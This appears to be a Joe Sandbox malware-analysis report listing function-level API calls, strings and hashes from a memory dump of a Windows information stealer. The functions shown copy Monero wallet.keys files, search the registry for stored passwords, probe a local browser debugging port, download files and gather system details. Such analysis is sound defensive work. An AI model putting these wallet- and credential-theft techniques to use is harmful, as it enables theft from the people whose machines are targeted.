Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: `dAF$`dAF$image/jpeg
API String ID: 2244384528-2462684518
Opcode ID: e2818ee80e84ba607554f161cf3f8b5aa4b01b2fddcad8d08d404cdb47dfdd2d
Instruction ID: 5957f6d1424668cbfb95915d93d24f68315a2265fb4ab52f55d04562dbc5d918
Opcode Fuzzy Hash: e2818ee80e84ba607554f161cf3f8b5aa4b01b2fddcad8d08d404cdb47dfdd2d
Instruction Fuzzy Hash: BE710E71E11208ABDB14EFE4DC95FEEB779BF48300F10851AF516A7290EB34A944CB65

Function 00415760 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,02EDFBA0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415894
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004158F1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415AA7

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00415440: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415478

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00415510: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415568
Part of subcall function 00415510: lstrlenA.KERNEL32(00000000), ref: 0041557F
Part of subcall function 00415510: StrStrA.SHLWAPI(00000000,00000000), ref: 004155B4
Part of subcall function 00415510: lstrlenA.KERNEL32(00000000), ref: 004155D3
Part of subcall function 00415510: strtok.MSVCRT(00000000,?), ref: 004155EE
Part of subcall function 00415510: lstrlenA.KERNEL32(00000000), ref: 004155FE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004159DB
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415B90
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415C5C
Sleep.KERNEL32(0000EA60), ref: 00415C6B

Strings

ERROR, xrefs: 00415886
ERROR, xrefs: 004159CD
ERROR, xrefs: 00415A99
ERROR, xrefs: 00415B82
ERROR, xrefs: 004158E3
ERROR, xrefs: 00415C4E

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 93186e085ff129a73f9e0ab74c49d77d7277fa139757a84e451318394f26fa84
Instruction ID: 55671caa9f17e02bf2b096751d64d2e50591885947f125be0164830bf8637258
Opcode Fuzzy Hash: 93186e085ff129a73f9e0ab74c49d77d7277fa139757a84e451318394f26fa84
Instruction Fuzzy Hash: 30E1A331A111049BCB14FBA1EDA6EED733EAF54304F40856EF50666091EF386B98CB5A

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcatA.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcatA.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,02EE2290,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

\Monero\wallet.keys, xrefs: 0040138D
wallet_path, xrefs: 00401330
.keys, xrefs: 0040136B
SOFTWARE\monero-project\monero-core, xrefs: 00401335

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-218353709
Opcode ID: 5cbd2ce6e892b1f0c83a61596e34b7d956a3390dad6b1351db3e395e1cef7939
Instruction ID: 741fdb0546306804f524ee4e08b2aea9f849864388c8e0516508d47f484bafde
Opcode Fuzzy Hash: 5cbd2ce6e892b1f0c83a61596e34b7d956a3390dad6b1351db3e395e1cef7939
Instruction Fuzzy Hash: 6B5151B1E501185BCB14EB60DD96BED733DAF54304F4045EEB20A62092EF346BD8CA6E

Function 00409A50 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(00420AF6,00000001,00000000,00000000,00000000), ref: 00409A6A
InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 00409AAB
InternetCloseHandle.WININET(00000000), ref: 00409AC7

Strings

"ws://, xrefs: 00409B84
"webSocketDebuggerUrl":, xrefs: 00409B4B
http://localhost:9229/json, xrefs: 00409A9F

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Internet$Open$CloseHandle
String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
API String ID: 3289985339-2144369209
Opcode ID: 170f34314a9a50de4dc5ee84ba35aa8bb061ee5a30c9fc0fe8f8ec154b18fd50
Instruction ID: 65c64d5f42ab2d525f7f9866baa54bb10b69c20dcdde589055b7f2aa2564e8b2
Opcode Fuzzy Hash: 170f34314a9a50de4dc5ee84ba35aa8bb061ee5a30c9fc0fe8f8ec154b18fd50
Instruction Fuzzy Hash: C0414B35A10258EBCB14EB90DC85FDD7774BB48340F1041AAF505BA191DBB8AEC0CF68

Function 00407630 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407330: memset.MSVCRT ref: 00407374
Part of subcall function 00407330: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CF0), ref: 0040739A
Part of subcall function 00407330: RegEnumValueA.ADVAPI32(00407CF0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00407411
Part of subcall function 00407330: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040746D
Part of subcall function 00407330: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B2
Part of subcall function 00407330: HeapFree.KERNEL32(00000000,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B9

lstrcatA.KERNEL32(2977F020,0042192C,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?,?,00416414), ref: 00407666
lstrcatA.KERNEL32(2977F020,00000000,00000000), ref: 004076A8
lstrcatA.KERNEL32(2977F020, : ), ref: 004076BA
lstrcatA.KERNEL32(2977F020,00000000,00000000,00000000), ref: 004076EF
lstrcatA.KERNEL32(2977F020,00421934), ref: 00407700
lstrcatA.KERNEL32(2977F020,00000000,00000000,00000000), ref: 00407733
lstrcatA.KERNEL32(2977F020,00421938), ref: 0040774D
task.LIBCPMTD ref: 0040775B

Strings

: , xrefs: 004076AE

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: b3130cf40c1dd3c7cf9147a5f31127e01731d4f473a6a07740fc976ddd9062c8
Instruction ID: 7dd5c8f6c25e89eb5421da9b581f9cff4d94f04832d352fdfe902425259828cd
Opcode Fuzzy Hash: b3130cf40c1dd3c7cf9147a5f31127e01731d4f473a6a07740fc976ddd9062c8
Instruction Fuzzy Hash: B73164B1E05114DBDB04EBA0DD55DFE737AAF48305B50411EF102772E0DA38AA85CB96

Function 00407330 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407374
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CF0), ref: 0040739A
RegEnumValueA.ADVAPI32(00407CF0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00407411
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040746D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B2
HeapFree.KERNEL32(00000000,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B9

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 004075B5

Strings

Password, xrefs: 00407461

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 3a3dd591c7cbb0d90e152054b3ac75d8c6492caf44e892e450b93b3cf6805213
Instruction ID: 394e2b55a83f95d9b644045a39dee7934e13af239b1baa97d0343fed5997f3db
Opcode Fuzzy Hash: 3a3dd591c7cbb0d90e152054b3ac75d8c6492caf44e892e450b93b3cf6805213
Instruction Fuzzy Hash: 43611EB5D041689BDB24DB50CC41BDAB7B8BF54304F0081EAE649A6181EF746FC9CF95

Function 00417690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004176D2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041770F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417793
HeapAlloc.KERNEL32(00000000), ref: 0041779A
wsprintfA.USER32 ref: 004177D0

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Strings

:, xrefs: 004176EC
\, xrefs: 004176F0
C, xrefs: 004176DC

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 39db56893d369c74f5f4f3db1860a6a0fb8aa9103e681a18a70390936e9ddc23
Instruction ID: 56630df3f9a1121e358c86d43682af9e85f8bbcd47ea8763ba8f74f533c9f43c
Opcode Fuzzy Hash: 39db56893d369c74f5f4f3db1860a6a0fb8aa9103e681a18a70390936e9ddc23
Instruction Fuzzy Hash: 8541B6B1D05358DBDB10DF94CC45BDEBBB8AF48704F10009AF509A7280D7786B84CBA9

Function 00418290 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,02EE5660,00000000,?,00420E14,00000000,?,00000000), ref: 004182C0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,02EE5660,00000000,?,00420E14,00000000,?,00000000,00000000), ref: 004182C7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 004182E8
__aulldiv.LIBCMT ref: 00418302
__aulldiv.LIBCMT ref: 00418310
wsprintfA.USER32 ref: 0041833C

Strings

@, xrefs: 004182DD
%d MB, xrefs: 00418333

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: d0391a1658ec30498705cc8c9cee2c4097af9c2ce960180bd43284ebda5957a4
Instruction ID: 389ef6515a1f2427be64b00d9458de7be2b91b0079cd17c5d853587b1d371e56
Opcode Fuzzy Hash: d0391a1658ec30498705cc8c9cee2c4097af9c2ce960180bd43284ebda5957a4
Instruction Fuzzy Hash: 8B214AF1E44218ABDB00DFD5DD49FAEBBB9FB44B04F10450AF615BB280D77969008BA9

Function 004060F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DFB,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,02EE6F60), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(00412DB1,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(00412DB1), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 4287319946-0
Opcode ID: 28317a5f4b32b5285a3637a607846846f53c0ba5e8d8391b34f33a6405c08cc5
Instruction ID: 62bae03b9e4771e022f65dfe0b744ca25a6527e7e90d195df508867c32b8ef77
Opcode Fuzzy Hash: 28317a5f4b32b5285a3637a607846846f53c0ba5e8d8391b34f33a6405c08cc5
Instruction Fuzzy Hash: CD5184B1A01218ABDB20EF90DC45FEE7779AB44305F0041AEF605B71C0DB786A95CF59

Function 00417350 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 0041735E

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

OpenProcess.KERNEL32(001FFFFF,00000000,0041758D,004205C5), ref: 0041739C
memset.MSVCRT ref: 004173EA
??_V@YAXPAX@Z.MSVCRT(?), ref: 0041753E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041740C

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
